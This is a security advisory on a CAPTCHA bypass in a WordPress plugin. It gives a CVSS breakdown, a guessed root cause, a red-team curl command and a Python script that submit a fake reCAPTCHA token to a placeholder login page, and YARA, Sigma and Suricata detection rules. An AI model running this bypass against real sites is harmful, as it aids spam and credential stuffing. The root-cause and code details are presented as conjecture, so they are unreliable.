CVE-2025-24628

Executive Summary

CVE-2025-24628 is an authentication bypass vulnerability in the WordPress plugin Google Captcha by bestwebsoft, affecting versions from n/a through 1.78. The flaw allows an attacker to spoof identity by bypassing CAPTCHA verification, effectively enabling automated scripts to submit forms without solving the CAPTCHA challenge. This undermines the security purpose of the plugin, exposing WordPress sites to spam, brute-force attacks, and credential stuffing. The CVSS score is 5.3 (Medium), with low attack complexity and no privileges required. No public exploit code or proof-of-concept is currently available, but the vulnerability is trivially exploitable due to the nature of the bypass.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. No patched version has been released, so the supply chain remains compromised until the vendor updates the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for automated abuse (spam, brute-force) elevates the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the CAPTCHA verification logic of the Google Captcha plugin. The plugin is designed to validate that a user has solved a Google reCAPTCHA challenge before processing form submissions. However, due to improper server-side validation, an attacker can spoof the verification response.

Root Cause: The plugin likely relies on client-side data (e.g., a POST parameter like g-recaptcha-response) without adequately verifying its authenticity against Google's reCAPTCHA API. An attacker can craft a request with a fake or empty g-recaptcha-response value, and the plugin accepts it as valid, bypassing the CAPTCHA check.

Attack Flow:

1. Attacker identifies a WordPress form protected by the Google Captcha plugin (e.g., login, registration, comment forms).
2. Attacker sends a POST request to the form endpoint, including a spoofed g-recaptcha-response parameter (e.g., an empty string or a static token).
3. The plugin's server-side code fails to validate the token with Google's API, treating the spoofed value as valid.
4. The form submission is processed without solving the CAPTCHA, allowing automated attacks.

Impact: This enables automated scripts to submit forms, leading to spam, brute-force login attempts, and credential stuffing. The vulnerability effectively nullifies the security benefit of the CAPTCHA.

Vulnerable vs. Patched Code

Since no patched version exists, the vulnerable code is the only reference. The flaw is likely in the plugin's main PHP file (e.g., google-captcha.php or a similar handler). A typical vulnerable pattern:

Vulnerable Code (Conceptual):

// Insecure validation - does not verify with Google
function verify_captcha($response) {
    if (empty($response)) {
        return false; // Or even true if logic is inverted
    }
    // Missing: call to Google reCAPTCHA API
    return true; // Always returns true if response is non-empty
}

Patched Code (Hypothetical):

function verify_captcha($response) {
    $secret_key = get_option('google_captcha_secret_key');
    $verify_url = 'https://www.google.com/recaptcha/api/siteverify';
    $data = array('secret' => $secret_key, 'response' => $response);
    $options = array(
        'http' => array(
            'header' => "Content-type: application/x-www-form-urlencoded\r\n",
            'method' => 'POST',
            'content' => http_build_query($data)
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents($verify_url, false, $context);
    $json = json_decode($result);
    return $json->success;
}

The patched version would include a server-side verification call to Google's reCAPTCHA API, ensuring the token is genuine.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Google Captcha plugin version <= 1.78 installed and active.
• A form protected by the plugin (e.g., login page, comment form).

Exploitation Steps:

1. Identify the target form and its action URL (e.g., wp-login.php for login).
2. Use a tool like curl or Burp Suite to send a POST request with a spoofed g-recaptcha-response parameter.

Example curl command:

curl -X POST https://target-site.com/wp-login.php \
  -d "log=admin&pwd=password123&g-recaptcha-response=fake_token&wp-submit=Log+In"

3. If the login succeeds (or the form is processed), the vulnerability is confirmed.

Automated Script (Python):

import requests

url = "https://target-site.com/wp-login.php"
data = {
    "log": "admin",
    "pwd": "password123",
    "g-recaptcha-response": "fake_token",
    "wp-submit": "Log In"
}
response = requests.post(url, data=data)
if "Login" not in response.text:
    print("CAPTCHA bypass successful!")
else:
    print("Bypass failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for repeated form submissions with identical or empty g-recaptcha-response values.
• Look for high volumes of login attempts or comment submissions from a single IP without solving CAPTCHA.
• Check server logs for POST requests to form endpoints with missing or malformed CAPTCHA tokens.

Hardening:

• Disable or remove the vulnerable plugin until a patch is available.
• Implement additional server-side validation (e.g., rate limiting, IP blacklisting).
• Use a Web Application Firewall (WAF) to block requests with suspicious CAPTCHA tokens.
• Consider alternative CAPTCHA plugins that are actively maintained.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to WordPress form endpoints (e.g., wp-login.php, wp-comments-post.php) with g-recaptcha-response parameter set to empty or static values.
  • Repeated requests from the same IP address without solving CAPTCHA.
• File IOCs:
  • Presence of the plugin directory /wp-content/plugins/google-captcha/ with version <= 1.78.
• Log IOCs:
  • Server logs showing POST /wp-login.php with g-recaptcha-response=fake_token or similar.
  • WordPress debug logs indicating failed CAPTCHA validation attempts.

Detection Engineering

YARA Rule

rule Detect_Google_Captcha_Vulnerable_Version {
    meta:
        description = "Detects vulnerable Google Captcha plugin files (version <= 1.78)"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24628"
    strings:
        $version_string = "Version: 1.78" nocase
        $vuln_func = "verify_captcha" nocase
    condition:
        $version_string or $vuln_func
}

Sigma Rule

title: Suspicious CAPTCHA Bypass Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to WordPress forms with suspicious g-recaptcha-response values
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - 'wp-login.php'
            - 'wp-comments-post.php'
        cs-uri-query|contains: 'g-recaptcha-response'
    filter:
        cs-uri-query|contains: 'g-recaptcha-response=valid_token'  # Adjust based on known valid tokens
    condition: selection and not filter
falsepositives:
    - Legitimate users with valid CAPTCHA tokens
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24628 - Google Captcha Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"g-recaptcha-response"; http_client_body; pcre:"/g-recaptcha-response=[a-zA-Z0-9_-]{0,10}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Google Captcha plugin from all WordPress installations.
2. Implement alternative CAPTCHA – Use a maintained plugin like reCAPTCHA by Google or hCaptcha.
3. Monitor logs – Review server and WordPress logs for signs of exploitation.

Long-term Fix:

• The vendor (bestwebsoft) must release a patched version that includes proper server-side verification of the reCAPTCHA token. Until then, no fix is available.

Workarounds:

• Add a custom server-side check in the theme's functions.php to validate the CAPTCHA token against Google's API.
• Use a WAF rule to block requests with empty or malformed g-recaptcha-response parameters.

Valters IT
Securing Digital Frontiers